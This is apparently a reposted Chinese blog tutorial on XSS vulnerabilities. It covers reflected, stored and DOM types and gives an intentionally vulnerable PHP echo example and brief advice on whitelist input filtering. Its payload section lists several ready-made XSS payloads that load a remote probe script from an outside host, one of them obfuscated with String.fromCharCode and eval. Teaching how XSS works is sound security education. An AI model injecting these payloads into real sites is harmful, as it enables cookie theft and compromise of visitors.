XSS漏洞分析

简介:
  • 什么是XSS


    • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入而已html代码,当浏览该页之时,嵌入其中web里面的html代码会被执行,从而达到而已攻击用户的特殊目的。

  • XSS可以干什么


    • 盗取管理员Cookie或用户Cookie

    • XSS Worm

    • 挂马(水坑攻击)

    • 有局限性的键盘记录

  • XSS分类


    • 放射性XSS

    • 存储型XSS

    • DOM XSS

    • flash XSS

    • mXSS

  • 反射(非持久)型XSS


    • 发出请求时,XSS代码出现在URL中,最后输入提交到服务器,服务器解析后响应在响应内容中出现这段XSS代码,最后浏览器解析执行

    • 这个过程就像一次反射,所以命名为反射性XSS

1
2
3
4
5
6
xss.php
<?php
      echo  $_GET [ 'x' ]
?>
#提交
/xss.php?x=<script>alert(1)</script>
  • 服务端解析式,echo就会完整的输出<script>alert(1)</script>到响应体中,然后浏览器解析执行触发弹窗

  • 储存(持久)型XSS


    • 储存型XSS和反射型XSS的差别仅在于:提交的XSS代码会储存在服务器(不管是数据库/内存/文件系统等),下次请求目标页面是不用在提交XSS代码。

    • 最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言储存到数据库中,目标用户查看留言板是,那些留言内容会从数据库查村出来并显示,浏览器发现有XSS代码,就当作正常的HTML和JS解析执行,于是触发了XSS攻击

    • 储存性XSS的攻击是最隐蔽的

1
#eg:http: //www.nfpeople.com/user.php?id=21839
  • XSS是如何利用的

    • payload(有效的攻击代码)

1
2
3
4
5
6
7
8
9
10
11
<script src= 'http://b.ioio.pub/xss/probe.js' ></script>
 
<img src=x onerror= "s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'" ;>
 
<svg onload=s=createElement( 'script' );body.appendChild(s);s.src='http: //b.ioio.pub/xss/probe.js>
 
<svg onload=eval(String.fromCharCode( 115 , 61 , 99 , 114 , 101 , 97 , 116 , 101 , 69 , 108 , 101 , 109 ,
101 , 110 , 116 , 40 , 39 , 115 , 99 , 114 , 105 , 112 , 116 , 39 , 41 , 59 , 98 , 111 , 100 , 121 , 46 , 9
7 , 112 , 112 , 101 , 110 , 100 , 67 , 104 , 105 , 108 , 100 , 40 , 115 , 41 , 59 , 115 , 46 , 115 , 114 ,
99 , 61 , 39 , 104 , 116 , 116 , 112 , 58 , 47 , 47 , 98 , 46 , 105 , 111 , 105 , 111 , 46 , 112 , 117 , 98 ,
47 , 120 , 115 , 115 , 47 , 112 , 114 , 111 , 98 , 101 , 46 , 106 , 115 )) >
  • 修复

    • 对XSS的防御需要根据实际情况对用户的输入进行严格的过滤。基于过滤的XSS防御方式通常可分为两种:基于黑名单的过滤和基于白名单的过滤。后者的防御效果往往更好,对于用户在白名单之外的输入,可以直接忽略。在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容。



本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/1826827,如需转载请自行联系原作者
相关文章
|
2月前
|
存储 安全 JavaScript
26、XSS漏洞介绍
26、XSS漏洞介绍
19 0
|
2月前
|
存储 安全 JavaScript
小课堂 -- XSS漏洞介绍
小课堂 -- XSS漏洞介绍
19 0
|
3月前
|
存储 开发框架 安全
如何处理预防XSS漏洞攻击问题
防止XSS攻击需要从多个方面入手,包括输入验证和过滤、输出编码、设置正确的HTTP头部、使用最新的安全框架和库、定期进行安全审计和漏洞扫描以及培训和意识提升等。只有综合运用这些措施,才能有效地防止XSS攻击,保护网站和用户的安全。
|
9月前
|
安全 前端开发 JavaScript
信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级)
信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级)
131 0
|
2月前
|
存储 安全
第二轮学习笔记:XSS跨站脚本漏洞
第二轮学习笔记:XSS跨站脚本漏洞
24 0
|
2月前
|
安全 开发工具 git
xss漏洞工具 -- xsser
xss漏洞工具 -- xsser
55 0
|
5月前
|
SQL 安全 JavaScript
互联网并发与安全系列教程(05) - 常见的Web安全漏洞(XSS攻击、SQL注入、防盗链)
互联网并发与安全系列教程(05) - 常见的Web安全漏洞(XSS攻击、SQL注入、防盗链)
60 0
|
8月前
|
安全 JavaScript 前端开发
|
8月前
|
SQL 存储 安全
【网络安全】护网系列-web漏洞(SQl、RCE、XSS)
【网络安全】护网系列-web漏洞(SQl、RCE、XSS)
352 0
|
9月前
|
SQL 安全 JavaScript
跨站脚本攻击 (XSS)和SQL注入漏洞php排查解决方案
跨站脚本攻击 (XSS)和SQL注入漏洞php排查解决方案
123 0